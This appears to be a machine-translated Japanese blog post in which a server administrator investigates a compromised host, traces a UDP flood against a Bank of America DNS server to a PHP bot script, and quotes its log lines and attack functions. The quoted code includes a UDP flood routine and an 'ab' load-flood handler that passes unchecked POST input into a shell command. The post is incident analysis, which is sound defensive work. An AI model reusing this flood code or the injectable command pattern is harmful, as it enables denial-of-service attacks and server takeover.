状況分析
サーバーを再起動した後、しばらくしてからトラフィックが再び現れました。 iptrafを起動し、1つのIPアドレス-「 171.161.224.16 」にかなり多数のUDPパケットを表示しました。dns5.bankofamerica.comでそれを落ち着かせたとき、すべてが所定の場所に落ち、明らかにサーバーからのdDoSがありました。
iptablesの禁止IP。 トップを見て、httpdプロセスの1つがCPUを100%消費し、それにstraceを設定すると、同じおなじみのアドレスを見ました。 サーバーにaccess_logsがなく、error_logsが空だったため、美しいphpモジュールbaxtep ( ハブに関する記事 )のログに目を向けました。このモジュールは、 PHPインタープリターを介してコマンドを実行しようとするすべての試行をログに書き込みます。 RPMを作成し、万が一の場合に備えて常に病棟のサーバーに配置しました。 肉眼で、目的のスクリプトの名前を決定しました。
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-bin` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
2012-01-12 22:46:33 BAXTEP: system CMDLINE: `killall -9 perl-cgi` FILE: /home/user/site/htdocs/dir/db/indx.php on line 19 URI: /dir/db/indx.php
ファイルコードは参照により利用可能です、私はグーグルでファイルからitsoknoproblembro行でそれを見つけました、グーグルは結果を1つしか持っていません
コード分析
ファイルサイズはわずか3kbで、コードは複雑ではありません。 ボットの主な機能:
- ファイルをサーバーにアップロードする
- 多数のUDPパケットを使用するDDoS
- abユーティリティによるddos
dDoSについて詳しく説明します。
case "ust": $page = curPageURL(); $ip = $_POST['ip']; $port = "11"; $out = $page."\n"; $socket = stream_socket_client("udp://$ip:$port"); if ($socket) { stream_set_write_buffer($socket, 0); stream_socket_sendto($socket,$out); } fclose($socket); break;
スクリプトは、パラメーターを介して攻撃されているターゲットのアドレスを受け取り、UDPソケットを開き、ソケットが存在している間に、11番目のポートに要求を送信します。 さらに、データ内で独自のアドレスを渡すのは興味深いことです。
function curPageURL(){ $pageURL = 'http'; if ($_SERVER["HTTPS"] == "on") { $pageURL .= "s"; } $pageURL .= "://"; if ($_SERVER["SERVER_PORT"] != "80") { $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"]; } else { $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; } return $pageURL; }
「なぜ?」という質問は、私の頭を12時間放置していません。
2番目の攻撃方法は、 abユーティリティを使用する方法です。
case "ab": $url = $_POST['url']; $c = $_POST['c']; $n = $_POST['n']; cmdexec("ab -c $c -n $n $url"); break;
さらに、受信パラメーターのチェックはなく、サーバー上で任意のコマンドを実行できます。
以前、私は個人的にPHPでUDP ddosに出くわしませんでした、彼らは私たちにこれを埋めませんでした、グーグルそれ-人々は長い間異なるソースで練習していたようです。
結論
- 実践が示しているように、このようなスクリプトは利用可能なチャネル全体を簡単に詰まらせます。
- UDPはサーバー上で偏執的にフィルタリングされなかったため、状況は現実のものとなりました。
- 誰かがBOAを置くことにしました:)